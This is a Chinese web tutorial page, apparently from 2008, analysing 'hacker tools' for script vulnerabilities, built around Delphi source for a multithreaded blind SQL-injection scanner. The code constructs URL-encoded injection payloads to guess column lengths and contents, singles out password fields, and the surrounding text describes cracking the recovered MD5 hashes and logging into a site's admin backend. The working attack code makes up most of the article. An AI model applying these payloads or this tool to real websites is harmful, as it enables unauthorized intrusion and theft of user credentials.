| 网站首页 | 绿软基地 | 最新绿软 | 热门绿软 | 网络学院 | 源码下载 | | 电子书 | 装机绿软 | 虚拟主机 | 网站地图 |

http://www.mt30.com/- 易网时代

网站资讯通告:

  没有公告

搜索: 下载 文章 您现在的位置: 易网时代 >> 网络学院 >> 电脑教室 >> 网络安全 >> 正文

脚本漏洞之黑客工具分析

文章来源:网络 更新时间:2008-10-7 14:45:02
看了上面的猜解是不是很麻烦,但如果我们用软件来猜解网络上存在注入的网站就只是几秒钟的事了。如下图:   上图只是对一个网站注入点的工具检测,当然看到了结果扫出来的密码为16位的md5加密码,但我们可以通过md5密码破解工具进行破解的。然后找到后台用所得的用户名和密码进行登录即可。对于黑客软件,其实并不是我们想象的那么复杂,只是根据掌握的漏洞信息提交相应该的数据罢了,我们看下下面一段用delphi写的注入的片段就清楚不过了。这里控件的设置和线程的创建略,我们主要是看看猜解的过程,如下: procedure TMainForm.GuessContProc(ListInt: integer); {SQL注入 - 多线程猜解字段内容}function SQLTextFunc(URl, TopStr, TableName, FieldName, LevelStr: string; Len: integer): string;beginResult := Url + ’%20and%20exists(select%20*%20from%20’ + TableName +’%20where%20len(’ + FieldName + ’)’ + LevelStr + IntToStr(Len) + ’%20and%20id=(Select%20max(id)%20From%20’ + TableName +’%20where%20id%20in%20(select%20top%20’ + TOPStr + ’%20id%20from%20’ + TableName + ’%20Order%20by%20id)))’end;varTableName: string;FieldName, S: string;ContentInt: integer;i, Len, LengthInt, N: integer;GridCount: integer;Colu: TColumn;FlagBool: boolean;beginLen := 0;ILengthInt := 0;FlagBool := True;TableName := TableNameLst.Items[TableNameLst.Itemindex];FieldName := Memo2.Lines[ListInt];   if (LowerCase(FieldName) = ’password’) or (LowerCase(FieldName) = ’pass’) or(LowerCase(FieldName) = ’admin_pass’) or (FieldName = ’密码’) or(LowerCase(FieldName) = ’userpassword’) or (LowerCase(FieldName) = ’passwd’) thenbeginContentInt := Get_HttpSize(SQLTextFunc(sql_EdUrl.Text, sqlEdTop.Text, TableName, FieldName, ’=’, 16), 800);if ContentInt >= and1Num thenbeginSqlResultMemo.Lines.Add(FieldName + ’长度: 16’);LengthInt := 16endelsebeginwhile (Len <= 50) and (FlagBool) dobeginapplication.ProcessMessages;inc(Len, 2);Pane1.Caption := ’正在检测长度:Len(’ + FieldName + ’)=’ + inttostr(Len);ContentInt := Get_HttpSize(SQLTextFunc(sql_EdUrl.Text, sqlEdTop.Text, TableName, FieldName, ’<=’, Len), 800);if ContentInt >= and1Num thenbeginfor N := Len - 1 to Len dobeginContentInt := Get_HttpSize(SQLTextFunc(sql_EdUrl.Text, sqlEdTop.Text, TableName, FieldName, ’=’, N), 800);if ContentInt >= and1Num thenbeginLengthInt := N;SqlResultMemo.Lines.Add(FieldName + ’长度: ’ + inttostr(N));FlagBool := False;Break;end; // ifend; // forend; // ifend; // whileend;end   elsebeginwhile (Len <= 50) and (FlagBool) dobeginapplication.ProcessMessages;inc(Len, 2);Pane1.Caption := ’正在检测长度:Len(’ + FieldName + ’)=’ + inttostr(Len);ContentInt := Get_HttpSize(SQLTextFunc(sql_EdUrl.Text, sqlEdTop.Text, TableName, FieldName, ’<=’, Len), 800);if ContentInt >= and1Num thenbeginfor N := Len - 1 to Len dobeginContentInt := Get_HttpSize(SQLTextFunc(sql_EdUrl.Text, sqlEdTop.Text, TableName, FieldName, ’=’, N), 800);if ContentInt >= and1Num thenbeginLengthInt := N;SqlResultMemo.Lines.Add(FieldName + ’长度: ’ + inttostr(N));FlagBool := False;Break;end; // ifend; // forend; // ifend; // whileend;GuessLsv.Clear;if Len >= 50 thenbeginsql_EdUrl.Enabled := True;Sql_GuessTable.Enabled := True;TableNameLst.Enabled := True;FieldNameLst.Enabled := True;application.MessageBox(’列名长度大于50,猜解失败!’, ’提示’, 32);Exit;end;   Pane1.Caption := ’正在检测’ + FieldName + ’的内容...’;GuessLsv.Update;if LengthInt = 5 thenbeginContentInt := Get_HttpSize(Sql_EdUrl.Text + ’%20and%20exists%20(select%20top%20’ + sqlEdTop.Text + ’%20’ + FieldName + ’%20from%20’ + TableName + ’%20where%20instr(’ + FieldName + ’,’’admin’’)=1%20and%20len(username)=5)’);if ContentInt >= and1Num thenbegins := ’admin’;for i := 1 to 5 dobeginapplication.ProcessMessages;with GuessLsv.Items.Add do begincaption := ’第’ + inttostr(i) + ’位’;SubItems.Add(s[i]);end;sleep(60);GuessLsv.Update;end;inc(SQL_ScanContent_ThreadCreateCount);StringGrid1.Cells[SQL_ScanContent_ThreadCreateCount - 1, 1] := ’admin’;StringGrid1.Cells[SQL_ScanContent_ThreadCreateCount, 1] := ’检测中...’;SqlResultMemo.Lines.Add(FieldNameLst.Items[FieldNameLst.Itemindex] + ’内容:admin’);if SQL_ScanContent_ThreadCreateCount <= Memo2.Lines.Count thenGuessContProc(SQL_ScanContent_ThreadCreateCount - 1);endelsebeginfor i := 1 to LengthInt dobeginapplication.ProcessMessages;with GuessLsv.Items.Add dobegincaption := ’第’ + inttostr(i) + ’位’;SubItems.Add(’检测中’);end;sleep(30);end;end;endelsebeginfor i := 1 to LengthInt dobeginapplication.ProcessMessages;with GuessLsv.Items.Add dobegincaption := ’第’ + inttostr(i) + ’位’;SubItems.Add(’检测中’);end;sleep(30);end;end;    从上面的代码中,我们可以看出,黑客软件只是代替了手工操作,通过多线程更进一步提高了猜解的速度,但猜解的表和字段还得我们自己设定,然后通过post提交我们设定的格式(其中url中的%20是空格的意思,因为在网址后面执行相应的sql语句时都要有相应的空格),按照我们设定的表和字段猜解出相应的用户名和密码内容。
Tags:脚本漏洞之黑客工具分析  
责任编辑:易网时代
请文明参与讨论,禁止漫骂攻击。 昵称:注册  登录
[ 查看全部 ] 网友评论
关于我们 - 联系我们 - 广告服务 - 友情链接 - 网站地图 - 版权声明